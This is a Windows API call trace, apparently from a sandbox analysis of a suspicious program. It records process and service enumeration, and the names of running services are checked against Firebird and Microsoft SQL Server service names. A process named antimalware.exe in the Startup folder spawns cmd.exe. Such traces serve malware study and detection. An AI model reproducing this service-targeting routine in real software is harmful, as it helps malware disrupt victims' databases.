	[0167.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0167.177] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0167.177] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0167.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0167.178] lstrlenW (lpString="RpcEptMapper") returned 12
	[0167.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0167.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0167.178] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0167.178] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0167.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0167.178] lstrlenW (lpString="RpcSs") returned 5
	[0167.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0167.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0167.178] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0167.178] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0167.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0167.178] lstrlenW (lpString="SamSs") returned 5
	[0167.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0167.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0167.178] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0167.178] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0167.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0167.179] lstrlenW (lpString="Schedule") returned 8
	[0167.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0167.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0167.179] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0167.179] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0167.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0167.179] lstrlenW (lpString="SecurityHealthService") returned 21
	[0167.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0167.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0167.179] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0167.179] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0167.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0167.179] lstrlenW (lpString="SENS") returned 4
	[0167.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0167.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0167.179] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0167.179] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0167.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0167.179] lstrlenW (lpString="ShellHWDetection") returned 16
	[0167.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0167.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0167.180] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0167.180] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0167.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0167.180] lstrlenW (lpString="Spooler") returned 7
	[0167.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0167.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0167.180] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0167.180] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0167.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0167.180] lstrlenW (lpString="StateRepository") returned 15
	[0167.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0167.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0167.180] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0167.180] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0167.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0167.180] lstrlenW (lpString="SysMain") returned 7
	[0167.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0167.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0167.181] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0167.181] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0167.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0167.181] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0167.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0167.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0167.181] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0167.181] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0167.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0167.181] lstrlenW (lpString="Themes") returned 6
	[0167.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0167.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0167.181] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0167.181] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0167.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0167.181] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0167.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0167.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0167.181] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0167.181] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0167.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46f23f8 | out: hHeap=0x4f0000) returned 1
	[0167.182] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x550
	[0167.188] Process32FirstW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0167.189] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0167.190] lstrlenW (lpString="System") returned 6
	[0167.191] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0167.192] lstrlenW (lpString="smss.exe") returned 8
	[0167.192] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0167.193] lstrlenW (lpString="csrss.exe") returned 9
	[0167.193] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0167.194] lstrlenW (lpString="wininit.exe") returned 11
	[0167.194] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0167.196] lstrlenW (lpString="csrss.exe") returned 9
	[0167.197] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0167.199] lstrlenW (lpString="winlogon.exe") returned 12
	[0167.199] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0167.216] lstrlenW (lpString="services.exe") returned 12
	[0167.216] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0167.218] lstrlenW (lpString="lsass.exe") returned 9
	[0167.218] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0167.218] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0167.219] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0167.219] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0167.219] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.220] lstrlenW (lpString="svchost.exe") returned 11
	[0167.220] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.221] lstrlenW (lpString="svchost.exe") returned 11
	[0167.222] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0167.230] lstrlenW (lpString="dwm.exe") returned 7
	[0167.230] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.232] lstrlenW (lpString="svchost.exe") returned 11
	[0167.232] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.233] lstrlenW (lpString="svchost.exe") returned 11
	[0167.234] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.235] lstrlenW (lpString="svchost.exe") returned 11
	[0167.235] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.236] lstrlenW (lpString="svchost.exe") returned 11
	[0167.236] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.239] lstrlenW (lpString="svchost.exe") returned 11
	[0167.239] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.240] lstrlenW (lpString="svchost.exe") returned 11
	[0167.241] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.242] lstrlenW (lpString="svchost.exe") returned 11
	[0167.242] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.244] lstrlenW (lpString="svchost.exe") returned 11
	[0167.244] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.246] lstrlenW (lpString="svchost.exe") returned 11
	[0167.246] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.246] lstrlenW (lpString="svchost.exe") returned 11
	[0167.246] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0167.247] lstrlenW (lpString="spoolsv.exe") returned 11
	[0167.247] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.249] lstrlenW (lpString="svchost.exe") returned 11
	[0167.249] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0167.250] lstrlenW (lpString="audiodg.exe") returned 11
	[0167.250] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0167.251] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0167.251] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0167.252] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0167.252] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0167.253] lstrlenW (lpString="sihost.exe") returned 10
	[0167.253] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0167.254] lstrlenW (lpString="Memory Compression") returned 18
	[0167.254] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.255] lstrlenW (lpString="svchost.exe") returned 11
	[0167.255] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0167.257] lstrlenW (lpString="taskhostw.exe") returned 13
	[0167.257] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0167.261] lstrlenW (lpString="msoia.exe") returned 9
	[0167.261] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0167.262] lstrlenW (lpString="explorer.exe") returned 12
	[0167.262] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0167.264] lstrlenW (lpString="SearchUI.exe") returned 12
	[0167.264] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0167.265] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0167.265] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0167.268] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0167.268] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0167.270] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0167.270] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0167.324] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0167.324] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0167.325] lstrlenW (lpString="cmd.exe") returned 7
	[0167.325] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0167.327] lstrlenW (lpString="conhost.exe") returned 11
	[0167.327] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0167.329] lstrlenW (lpString="consent.exe") returned 11
	[0167.329] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0167.330] lstrlenW (lpString="dllhost.exe") returned 11
	[0167.330] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0167.337] CloseHandle (hObject=0x550) returned 1
	[0167.337] Sleep (dwMilliseconds=0x1f4) 
	[0167.924] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45b02f0
	[0167.925] EnumServicesStatusExW (in: hSCManager=0x45b02f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0167.925] GetLastError () returned 0xea
	[0167.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x46f23f8
	[0167.925] EnumServicesStatusExW (in: hSCManager=0x45b02f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x46f23f8, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x46f23f8, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0167.926] CloseServiceHandle (hSCObject=0x45b02f0) returned 1
	[0167.926] lstrlenW (lpString="Appinfo") returned 7
	[0167.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0167.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0167.926] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0167.926] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0167.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0167.926] lstrlenW (lpString="AppXSvc") returned 7
	[0167.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0167.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0167.927] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0167.927] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0167.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0167.927] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0167.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0167.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0167.927] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0167.927] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0167.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0167.927] lstrlenW (lpString="Audiosrv") returned 8
	[0167.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0167.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
